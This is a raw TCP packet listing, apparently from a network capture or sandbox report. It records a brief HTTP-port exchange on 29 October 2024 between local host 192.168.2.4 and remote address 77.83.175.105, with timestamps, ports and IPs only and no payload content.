Oct 29, 2024 04:17:19.870414019 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.877254009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.877268076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.877290010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.877304077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.877319098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.877348900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.877373934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.877373934 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.877468109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.878669977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.878691912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.878703117 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.878712893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.878717899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.878724098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.878726006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.878751040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.878995895 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.878995895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879007101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879015923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879041910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879049063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879050970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879079103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879154921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879185915 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879195929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879259109 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879262924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879281998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879292965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879302979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879334927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879334927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879424095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879607916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879616976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879625082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879635096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879668951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879692078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879753113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879762888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879770994 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879781008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879826069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879826069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879833937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879843950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879856110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879867077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879870892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879870892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879875898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879885912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879892111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879892111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879894972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879905939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.879919052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.879939079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.880142927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.880706072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.880753040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.880764008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.880794048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.880795956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.880808115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.880827904 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.880882978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.921572924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.921602011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.921614885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.921626091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.921638966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.921652079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.921652079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.921808004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.966837883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.966960907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.966976881 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.966989040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.967000008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.967171907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.967171907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.988775015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.988801003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.988811970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.988851070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.988862991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.988873959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.988894939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.988894939 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.988991976 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989001036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.989033937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989048004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989067078 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.989186049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.989232063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989247084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989257097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989310026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.989310026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.989393950 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989406109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989422083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.989449978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.989449978 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.989567995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.997798920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.997809887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.997818947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.997831106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.997858047 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.997900963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.997930050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.997941017 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.997977972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.998115063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.998126984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.998136997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.998188972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.998188972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999278069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999288082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999296904 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999308109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999326944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999331951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999353886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999412060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999434948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999448061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999456882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999468088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999517918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999519110 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999780893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999792099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999802113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999808073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999835014 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999890089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:19.999948025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999960899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999969959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999980927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:19.999994040 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.000039101 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.000127077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000138044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000147104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000193119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.000193119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.000740051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000751019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000761032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000771999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000782013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000792980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000804901 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.000879049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.000886917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000900984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000910997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000921011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.000941038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.000966072 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.001301050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001311064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001321077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001332045 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001343966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001343966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.001355886 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.001424074 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.001645088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001655102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001662970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.001713991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.001713991 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.042082071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.042198896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.042247057 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.042366028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.042377949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.042387962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.042399883 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.042464972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.084903002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.084913969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.084923029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.084995031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.084995985 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.108481884 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108665943 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108676910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108686924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108697891 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108704090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.108707905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108720064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108731031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108738899 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.108741999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108752966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108753920 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.108763933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108773947 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108778000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.108784914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108798981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.108844042 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.108850002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108915091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.108942986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.109355927 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.115437984 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.115462065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.115478039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.115489960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.115500927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.115521908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.115561008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.115628004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.115659952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.115704060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.180284977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.185724974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417241096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417258978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417279959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417290926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417306900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417316914 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.417361975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.417396069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417407036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417439938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.417515039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417526007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417536974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417547941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417547941 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.417574883 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.417596102 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.417716980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417768002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417778969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417788982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.417803049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.417829990 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418004990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418015957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418029070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418040037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418050051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418076992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418092012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418103933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418121099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418144941 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418443918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418454885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418466091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418478966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418484926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418493032 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418498993 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418524027 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418747902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418767929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418780088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418781042 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418798923 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418813944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418833971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418848038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418862104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418881893 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418893099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418905020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418914080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418914080 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418925047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.418946981 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.418960094 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.419429064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419526100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419538021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419548988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419559956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419569969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419579983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419584036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.419600010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419600964 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.419611931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419616938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.419622898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419634104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419641972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.419645071 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419655085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.419663906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.419677973 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.419699907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420402050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420455933 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420455933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420469046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420488119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420501947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420516968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420528889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420538902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420557022 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420567989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420579910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420579910 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420589924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420599937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420599937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420609951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420617104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420623064 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420633078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.420639992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.420672894 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.421386003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.421396971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.421407938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.421420097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:20.421442986 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.421463966 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.421471119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:20.529099941 CET	80	49755	77.83.175.105	192.168.2.4
